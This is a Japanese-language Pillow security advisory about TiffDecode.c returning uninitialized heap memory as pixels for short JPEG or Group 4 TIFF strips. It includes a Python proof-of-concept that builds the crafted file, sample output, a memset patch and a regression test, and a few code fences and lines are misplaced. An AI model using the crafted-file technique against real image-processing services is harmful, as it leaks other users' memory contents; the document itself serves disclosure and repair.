Pillow: TiffDecodeは、短いJPEGストリップに対して、初期化されていないメモリをピクセルとして返します。

```
============================================================================
TiffDecodeは、短いJPEGストリップに対して、初期化されていないメモリをピクセルとして返します。
場所: src/libImaging/TiffDecode.c:554, 関数 _decodeStrip()
コミット: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillowは、小さなTIFFファイルを読み込む際に、未使用のプロセスメモリを画像ピクセルとして返してしまうことがあります。アプリケーションが画像を読み込み、そのピクセルデータから何らかのものが生成される(サムネイル、プレビュー、変換されたコピーなど)場合、そのプロセスが以前に使用し、解放したヒープメモリを読み取ってしまう可能性があります。

この問題は、デフォルトの設定で発生します。478バイトのファイルを読み込む際にエラーや警告は発生せず、最初の8行以外のすべての行が、画像データではなく、古いメモリの内容を含んでいます。

このバグは、`src/libImaging/TiffDecode.c`の`_decodeStrip()`関数にあり、`_decodeTile()`関数も同様の問題を抱えています。`realloc()`関数が`state->buffer`を`TIFFStripSize()`バイトに拡張しますが、初期化は行われず、その後`TIFFReadEncodedStrip()`が呼び出されます。この関数が-1を返さない場合、バッファのすべての`RowsPerStrip`行が画像にコピーされます。libtiffのJPEGコーデックは、ストリップに埋め込まれたJPEGの行数がストリップの行数よりも少ない場合にのみ警告を発しますが、Pillowはlibtiffからの警告を抑制します。コーデックは存在する行をデコードし、元のストリップサイズを返します。そのため、変更されていない残りの部分がピクセルとしてコピーされます。libtiffのGroup 4ファックスコーデックも、同様に、ストリームが途中で終わる場合に同じ動作をします。

添付の再現コードは、256×256のTIFFファイルを生成します。このTIFFファイルの単一のストリップまたはタイルは、256×8のJPEG画像です。スクリプトは、このファイルを読み込む前に、`b"LEAK"`で埋められたバッファを解放します。その後、デコードされた画像の8行目から255行目までで、`LEAK`という文字列が15,872回も検出されます(同じ解放されたメモリ領域が、500回の実行のうち500回で再利用されています)。glibcの`MALLOC_PERTURB_`設定では、これらの行はすべてメモリ割り当て関数の初期化バイトで埋められています。適切に構成された制御ファイルは、どちらの場合でも正しくデコードされます。

これは、初期化されていないヒープメモリへの読み込みであり、メモリの破損ではありません。各ストリップは、最大で幅×`RowsPerStrip`バイトのデータを公開する可能性があります。返されるデータは、その時点のメモリ割り当て関数の状態に依存します。ストリップの処理方法は、e91b851fdc1c("Add reading old-JPEG compressed TIFFs"、Pillow 6.0.0で初めてリリース)で導入されました。タイルの処理方法は、f0436a4ddc95(Pillow 5.3.0)から同じパターンです。

## 詳細

`src/libImaging/TiffDecode.c`は、libtiffを使用して圧縮されたTIFFファイルをデコードし、ストリップ(またはタイル)バッファに格納します。このバッファは、`realloc()`関数を使用して`TIFFStripSize()`バイトに拡張されますが、初期化は行われません。その後、`TIFFReadEncodedStrip()`関数が-1を返さない場合、そのバッファのすべての`RowsPerStrip`行が画像にコピーされます。libtiffのJPEGコーデックは、ストリップ内のJPEGストリームの行数が、ストリップの行数よりも少ない場合でも、エラーになりません。存在する行をデコードし、ストリップ全体のサイズを返します。書き込まれなかった行には、以前にヒープに存在していたデータがそのまま含まれており、Pillowはこのデータをピクセルとして返します。

478バイトのファイルで確認できます。これは、古典的なリトルエンディアン形式のTIFFファイルで、解像度は256×256ピクセル、`BitsPerSample=8`、`Compression=7`、`PhotometricInterpretation=1`、`RowsPerStrip=256`です。データは、256×**8**ピクセルのベースラインJPEG画像で、`Image.new("L",(256,8),200).save(…,"JPEG")`で作成されたものです。`Image.open(BytesIO(data)).load()`は、デフォルト設定で成功します(圧縮されたTIFFファイルは常にlibtiffのパスを使用します)。結果の0~7行目はJPEGの内容(値は200)です。`im.tobytes()`によって生成される残りの63488バイトは、ヒープ上の不要なデータです。`glibc`の`MALLOC_PERTURB_=1`で実行すると、すべて`0xFE`、`MALLOC_PERTURB_=170`で実行するとすべて`0x55`(`malloc`によって初期化されたバイト)、そして、バッファに`b"LEAK"`が含まれるバッファを解放したプロセスでは、15872個の`LEAK`が含まれています。

同じファイルを直接libtiff 4.5.0に読み込ませると、ライブラリ側の動作を確認できます。`TIFFReadEncodedStrip(t, 0, buf, 65536)`は、
`JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`という警告を表示し、65536を返します。また、65536バイトのバッファのうち63488バイトが変更されずに残ります。Pillowは`TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`)をインストールするため、この警告は表示されません。

ストリップの処理に関するコード:

```c
// src/libImaging/TiffDecode.c:552
/* realloc to fit whole strip */
/* malloc check above */
new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize()
…
state->buffer = new_data;
```

```
for (; state->y < state->ysize; state->y += rows_per_strip) {
…
if (TIFFReadEncodedStrip(
tiff,
TIFFComputeStrip(tiff, state->y, plane),
(tdata_t)state->buffer,
strip_size
) == -1) {
… return -1;
}
…
// ストリップ内の各行を反復処理し、データを画像に格納
for (strip_row = 0;
strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y);
strip_row++) {
…
shuffler(
(UINT8 *)im->image[state->y + state->yoff + strip_row] +
state->xoff * im->pixelsize,
state->buffer + strip_row * row_byte_size,
state->xsize
);
```

`state->buffer` は、`decode.c:230` で作成された1行分の `calloc` メモリ領域としてここに渡されます(例では256バイト)。65536バイトに `realloc` された領域は、初期化されていない別のメモリ領域であり、何も初期化されません。`TIFFReadEncodedStrip()` は、成功した場合に nominal なストリップサイズを返しますが、生成された行数ではなく、チェックするのは `== -1` のみです。そのため、行ループは無条件に 256 行 × 256 バイトを `im->image` にコピーします(`im->image` 自体は `core.new` によってゼロ初期化されているため、ガベージデータは確実に `state->buffer` から発生しています)。`_decodeTile()` も同様の構造を持っています(`TiffDecode.c:448` で `realloc` を `TIFFTileSize()` に行い、その後、460–488 の各 `TIFFReadTile()` の後に `tile_length` 行をコピーします)。

正常なファイルの場合、ストリップ内の JPEG 画像は 256×256 ピクセルであり、libtiff はすべての 65536 バイトを埋め、コピーは正しく行われます。悪意のあるファイルは、埋め込まれた JPEG 画像の SOF (Start of Frame) の高さの値が異なる点のみが異なります。libtiff は、「ストリップよりも小さい JPEG」を警告として扱い、行数を JPEG の高さに制限し、成功を報告します。
```

JPEGは、短いストリップで正常に動作するlibtiffの唯一のコーデックではありません。`Fax4Decode`(`Compression=4`)は、途中で終了するT.6ストリームに対して成功を返します。具体的には、133バイトの512×256の1ビットTIFF画像があり、そのストリップが512×16の画像のGroup 4ストリームである場合、エラーなしで読み込まれます。libtiffは、16384バイトのバッファの17行(1088バイト)を書き込みます(`Fax4Decode: Warning, Premature EOL at line 16`、戻り値16384)、残りの15296バイトはヒープの内容です。LZW、Deflate、PackBits、Group 3、およびCCITT RLEは、短いデータに対して-1を返すため、Pillowはこれらのコーデックに対して`OSError`を発生させます。

ストリップパスは、`e91b851fdc1c`(「古いJPEG圧縮TIFFの読み込みを追加」、2018年12月8日)で導入され、Pillow 6.0.0で初めてリリースされました。これは、行ごとに`TIFFReadScanline()`(libtiffが最初の欠落した行でエラーを発生させる)を実行する代わりに、ストリップ全体を`realloc()`で再割り当てし、コピーする方式に変更されました。タイルパスは、`f0436a4ddc95`(2018年7月2日、Pillow 5.3.0)で追加された以降、同じ構造を維持しています。

## 影響

デフォルトの設定でPillowを使用して、攻撃者が提供した画像を読み込み、ピクセルから派生したデータ(サムネイル、プレビュー、フォーマット変換、OCRテキストなど)を返すアプリケーションは、ワーカープロセスの解放されたヒープメモリをアップローダーに公開します。具体的には、埋め込まれたJPEG/G4ストリームが実際にエンコードする行の下にあるすべてのデータが、`ImageWidth × RowsPerStrip × SamplesPerPixel`バイト/ストリップ、およびデフォルトの`MAX_IMAGE_PIXELS`内で数十MB/画像という形で公開されます。`load()`関数はエラーを発生させないため、アプリケーションは画像が不正であるという兆候を検知できません。返されるデータは、アロケータの状態によって異なり、長期間実行されているWebワーカーでは、通常、最近解放されたリクエストボディ、他のユーザーのデコードされた画像バッファ、およびPythonオブジェクトの内容が含まれます。メモリ破壊は発生しません。これは、初期化されていない(以前に使用された)ヒープメモリの読み取りであり、ピクセルに到達する範囲外の読み取りと同様の効果があります。

## 再現手順

`repro`は、インストール済みのPillowのビルドに対して、デフォルト設定で動作する短いPythonスクリプトです。再ビルドは行わず、サニタイザーも使用せず、ファイルも書き込みません。このスクリプトは2回実行されます。1回は通常通り、もう1回はglibcの`MALLOC_PERTURB_=170`の下で自身を再実行します。最後に表示される行は、`BUG`または`OK`です。

**入力。** `tiff(jpeg_rows, tiled)`は、リトルエンディアンのTIFFファイルをメモリ上に構築します。ヘッダーは、`Compression=7`(JPEG)の256×256ピクセルの8ビットグレースケール画像であることを宣言します。これは、1つのストリップ(`RowsPerStrip=256`)として、または1つの256×256タイル(`TileWidth`/`TileLength`)として表現されます。ストリップまたはタイルは、Pillow独自のJPEGエンコーダによって書き込まれた、256×`jpeg_rows`ピクセルのベースラインJPEG画像で、すべての値が200です。このスクリプトは、各レイアウトに対して2つのファイルを作成します。

- **Control:** `jpeg_rows=256`。これは、正しくフォーマットされたファイルで、libtiffは64 KiBのストリップ/タイル全体を埋めます。
- **Crafted:** `jpeg_rows=8`、478バイト(ストリップ)または490バイト(タイル)。唯一の違いは、埋め込まれたJPEGの高さです。libtiffは8行(2048バイト)をデコードし、`Improper JPEG strip/tile size`という警告を表示します(Pillowはこの警告を抑制します)。そして、ストリップ/タイルの完全なサイズを成功として返します。

**手順。** 各ファイルは開かれます(スクリプトは、`libtiff`デコーダが使用されていることを検証します)。`im.load()`の直前に、スクリプトは`b"LEAK"`で埋められた6つの64 KiBの`bytearray`を割り当てて解放します。これにより、`_decodeStrip()`/`_decodeTile()`が`realloc()`しようとする直前の、解放されたヒープ領域に、バッファのサイズに近い領域が残されます。行8~255について、スクリプトは`LEAK`のコピーと、`0x55`(`MALLOC_PERTURB_=170`の下でのglibcの新しい`malloc`のフィル値)に等しいバイト数をカウントします。ファイルには`LEAK`バイトは含まれていません(スクリプトはこれを検証します)。したがって、画像に存在する`LEAK`は、解放されたヒープメモリからコピーされたものです。スクリプトは、通常の実行で作成されたファイルに`LEAK`が含まれている場合、または、摂動された実行で、行8~255が完全に`0x55`である場合に、`BUG`を報告します。

**このツリーでの予想される出力:**

[normal] strip (正しくフォーマットされたデータ) (1222 バイト) 行 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[normal] strip (作成されたデータ) (478 バイト) 行 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK'
[normal] tiled (正しくフォーマットされたデータ) (1234 バイト) 行 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[normal] tiled (作成されたデータ) (490 バイト) 行 8-255: 15872 x b'LEAK', 0/63488 == 0x55, head=b'LEAKLEAK'
[perturb] strip (正しくフォーマットされたデータ) (1222 バイト) 行 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[perturb] strip (作成されたデータ) (478 バイト) 行 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'
[perturb] tiled (正しくフォーマットされたデータ) (1234 バイト) 行 8-255: 0 x b'LEAK', 0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[perturb] tiled (作成されたデータ) (490 バイト) 行 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'
BUG

`im.load()` はすべてのファイルで成功します。作成されたファイルの場合、行 8~255 は初期化されていないストリップ/タイルバッファであり、そのまま画像にコピーされます。添付されたパッチを適用すると、作成されたファイルの行 8~255 が `\x00` バイトで返され、`LEAK` や `0x55` は表示されず、スクリプトは `OK` で終了します。

`LEAK` の数は、glibc がバッファを配置する場所によって異なります (このテストでは、解放されたチャンクが 500 回中 500 回再利用されています)。`MALLOC_PERTURB_` パスは影響を受けません。このスクリプトは、JPEG コーデックのみを対象としています。詳細セクションの Group 4 のバリアント (Compression=4、早期に終了する T.6 ストリーム) も、同じ `_decodeStrip()` コピー処理を経由し、同じ修正が適用されます。

## 推奨される修正

添付されたパッチでは、`src/libImaging/TiffDecode.c` の両方のループで、`libtiff` の読み込みの前に `state->buffer` をゼロに設定します。具体的には、`_decodeTile()` 内の `TIFFReadTile()` の前と、`_decodeStrip()` 内の `TIFFReadEncodedStrip()` の前です。これにより、コーデックが生成しない行が、古いヒープデータではなく、決定論的なゼロ値になります。

```diff
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ _decodeTile
for (x = state->xoff; x < state->xsize; x += tile_width) {
+ memset(state->buffer, 0, state->bytes);
if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) {
@@ _decodeStrip
for (plane = 0; plane < planes; plane++) {
ImagingShuffler shuffler = unpackers[plane];
+ memset(state->buffer, 0, state->bytes);
if (TIFFReadEncodedStrip(
```

各ストリップ/タイルごとに `memset` を実行する必要があります(サイズが判明した後に一度だけ `calloc` を実行するのではなく)。これは、同じバッファがすべてのストリップで使用されるため、最後のストリップが短い場合、前のストリップの行が露出してしまう可能性があるからです。これは、情報漏洩の面では問題ありませんが、読み込みごとに `memset` を実行することで、動作を統一することができます。ただし、libtiff の警告をエラーにする方法は適切ではありません。どちらのコーデックも警告のみを出力します(`Improper JPEG strip/tile size`、`Premature EOL`)。しかし、多くの正当なファイルも同様の警告を出力します(不明なタグ、不正なタグ数)。また、`TIFFReadEncodedStrip()` の戻り値には、検証するための行数が含まれていません。バッファの初期化は、すべてのコーデックに対応します。`_decodeAsRGBA()` は変更する必要はありません。`TIFFRGBAImageGet()` は、そのすべてのラスター領域を埋め込み、JPEG ファイルはこれを使用しません(`JPEGCOLORMODE_RGB` の場合、ストリップのパスを通ります)。

有効なファイルは、以前と同じように正しくデコードされます。以前はガベージデータとして表示されていた行は、現在は黒色で表示されます。また、以前に正常に読み込まれていたものが、現在は読み込まれなくなっているものはありません。この修正には、`Tests/test_file_libtiff.py`に`test_jpeg_short_strip`が追加されており、これはストリップとタイルをパラメータとして受け取り、256×8のJPEG画像を256×256のファイルとして構築し、8~255行目がゼロであることを検証します。これは、修正されたコードに対する回帰防止策であり、バグを確実に検出するものではありません。新しいpytestプロセスでは、修正されていないストリップのバリエーションが、偶然ゼロになっているヒープ領域があるため、正常に動作する可能性があります(タイル版は修正前に失敗します)。この修正により、`Tests/test_file_libtiff.py`と`Tests/test_file_tiff.py`が正常に動作し、再現テストが`OK`と表示されます。

## 修正内容

`TiffDecode.c`の`TIFFReadEncodedStrip/TIFFReadTile`の前に、libtiffのストリップ/タイルのバッファをゼロに初期化することで、短いストリップが未初期化のヒープ領域を露出するのを防ぎます。

これは、上記のコミットにおける`src/libImaging/TiffDecode.c`に適用されます。

```diff
diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..67bc96329 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase):
im.load()
assert im.size == (950, 975)

+ @pytest.mark.parametrize("tiled", (False, True))
+ def test_jpeg_short_strip(self, tiled: bool) -> None:
+ # ストリップまたはタイルに含まれるJPEGデータは、RowsPerStrip/TileLengthで宣言されている256行のうち、実際には8行しか含まれていません。
+ # libtiffは存在する行をデコードし、成功を報告するため、残りの行は初期化されていないメモリとして残されるのではなく、クリアされる必要があります。
+ jpeg = io.BytesIO()
+ Image.new("L", (256, 8), 200).save(jpeg, "JPEG")
+ jpeg_data = jpeg.getvalue()
+
+ ifd = TiffImagePlugin.ImageFileDirectory_v2()
+ ifd[256] = 256 # ImageWidth
+ ifd[257] = 256 # ImageLength
+ ifd[258] = 8 # BitsPerSample
+ ifd[259] = 7 # Compression: JPEG
+ ifd[262] = 1 # PhotometricInterpretation: BlackIsZero
+ ifd[277] = 1 # SamplesPerPixel
+ if tiled:
+ ifd[322] = 256 # TileWidth
+ ifd[323] = 256 # TileLength
+ ifd[324] = 0 # TileOffsets
+ ifd[325] = len(jpeg_data) # TileByteCounts
+ # タイルデータのポインタをIFDの末尾に設定
+ ifd[324] = 8 + len(ifd.tobytes(8))
+ else:
+ ifd[278] = 256 # RowsPerStrip
+ ifd[STRIPOFFSETS] = 0 # tobytes()によって更新され、IFDの後に配置される
+ ifd[279] = len(jpeg_data) # StripByteCounts
+
+ b = io.BytesIO()
+ ifd.save(b)
+ b.write(jpeg_data)
+
+ with Image.open(b) as im:
+ assert im.tile[0][0] == "libtiff"
+ im.load()
+ assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200)
+ assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0)
+
def test_orientation

(self) -> None:
with Image.open("Tests/images/g4_orientation_1.tif") as base_im:
for i in range(2, 9):
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..d1d6bfbbb 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -457,6 +457,11 @@ _decodeTile(
for (plane = 0; plane < planes; plane++) {
ImagingShuffler shuffler = unpackers[plane];
for (x = state->xoff; x < state->xsize; x += tile_width) {
+ // 一部のコーデック(JPEG、Group 4など)では、タイルがデコードされて
+ // タイルの長さよりも少ない行数になる場合があり、その結果、
+ // バッファの残りの部分が変更されないままになります。
+ // 画像に未初期化されたメモリがコピーされないように、
+ // バッファをクリアします。
+ memset(state->buffer, 0, state->bytes);
if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) {
TRACE(("Decode Error, Tile at %dx%d\n", x, y));
state->errcode = IMAGING_CODEC_BROKEN;
@@ -563,6 +568,11 @@ _decodeStrip(
int plane;
for (plane = 0; plane < planes; plane++) {
ImagingShuffler shuffler = unpackers[plane];
+ // 一部のコーデック(JPEG、Group 4など)では、ストリップがデコードされて
+ // RowsPerStripよりも少ない行数になる場合があり、その結果、
+ // バッファの残りの部分が変更されないままになります。
+ // 画像に未初期化されたメモリがコピーされないように、
+ // バッファをクリアします。
+ memset(state->buffer, 0, state->bytes);
if (TIFFReadEncodedStrip(
tiff,
TIFFComputeStrip(tiff, state->y, plane),

```python
#!/usr/bin/env python3
# Pillow TiffDecode.c _decodeStrip/_decodeTile: ストリップ/タイルバッファは再割り当てされるが、初期化されず、libtiffのJPEGコーデックがRowsPerStrip/TileLengthよりも少ない行数をデコードした場合でも、画像全体がコピーされる。
# 2つの独立したテスト:
# 1つ目のテスト (通常のヒープ): "LEAK"という文字列を64KBのチャンクで解放し、load()の直前にヒープに配置し、デコードされたピクセル内にLEAK文字列が存在するかどうかを確認する (ファイルにはそのようなバイト列は含まれていない)。
# 2つ目のテスト (同じスクリプトをglibc MALLOC_PERTURB_=170で再実行): 新しいmallocメモリは0x55で初期化されるため、すべての行が0x55で埋まっている場合は、初期化されていないヒープであると証明できる。
import gc, io, os, struct, subprocess, sys
from PIL import Image
W = H = 256; ROWS = 8
perturbed = os.environ.get("MALLOC_PERTURB_") == "170"
if not perturbed:
print("Pillow", Image.__version__, Image.core.__file__)

def tiff(jpeg_rows, tiled):
j = io.BytesIO(); Image.new("L", (W, jpeg_rows), 200).save(j, "JPEG"); j = j.getvalue()
tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)]
tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else
[(273,4,1,0), (278,3,1,H), (279,4,1,len(j))])
tags.sort(); off = 8 + 2 + 12*len(tags) + 4
tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags]
ifd = struct.pack("<H", len(tags)) + b"".join(struct.pack("<HHLL", *t) for t in tags)
return b"II*\0" + struct.pack("<L", 8) + ifd + struct.pack("<L", 0) + j
```

```
bug = False
for tiled in (False, True):
for jpeg_rows, label in ((H, "well-formed"), (ROWS, "crafted")):
data = tiff(jpeg_rows, tiled); assert b"LEAK" not in data
im = Image.open(io.BytesIO(data)); assert im.tile[0][0] == "libtiff"
junk = [bytearray(b"LEAK" * (W*H//4)) for _ in range(6)]; del junk; gc.collect()
im.load() # ファイルのどちらでも例外は発生しない
below = im.tobytes()[W*ROWS:]
n55, nleak = below.count(0x55), below.count(b"LEAK")
print(f"[{'perturb' if perturbed else 'normal '}] {'tiled' if tiled else 'strip'} "
f"{label:11s} ({len(data):4d} B) rows {ROWS}-{H-1}: {nleak:5d} x b'LEAK', "
f"{n55:5d}/{len(below)} == 0x55, head={below[:8]!r}")
if jpeg_rows == ROWS and (nleak > 0 or (perturbed and n55 == len(below))):
bug = True
if not perturbed:
r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, "MALLOC_PERTURB_": "170"},
capture_output=True, text=True)
lines = r.stdout.rstrip().split("\n")
print("\n".join(lines[:-1])); sys.stderr.write(r.stderr)
bug = bug or lines[-1] == "BUG"
print("BUG" if bug else "OK")
```

影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョン >= 5.3.0, < 13.0.0、13.0.0で修正済み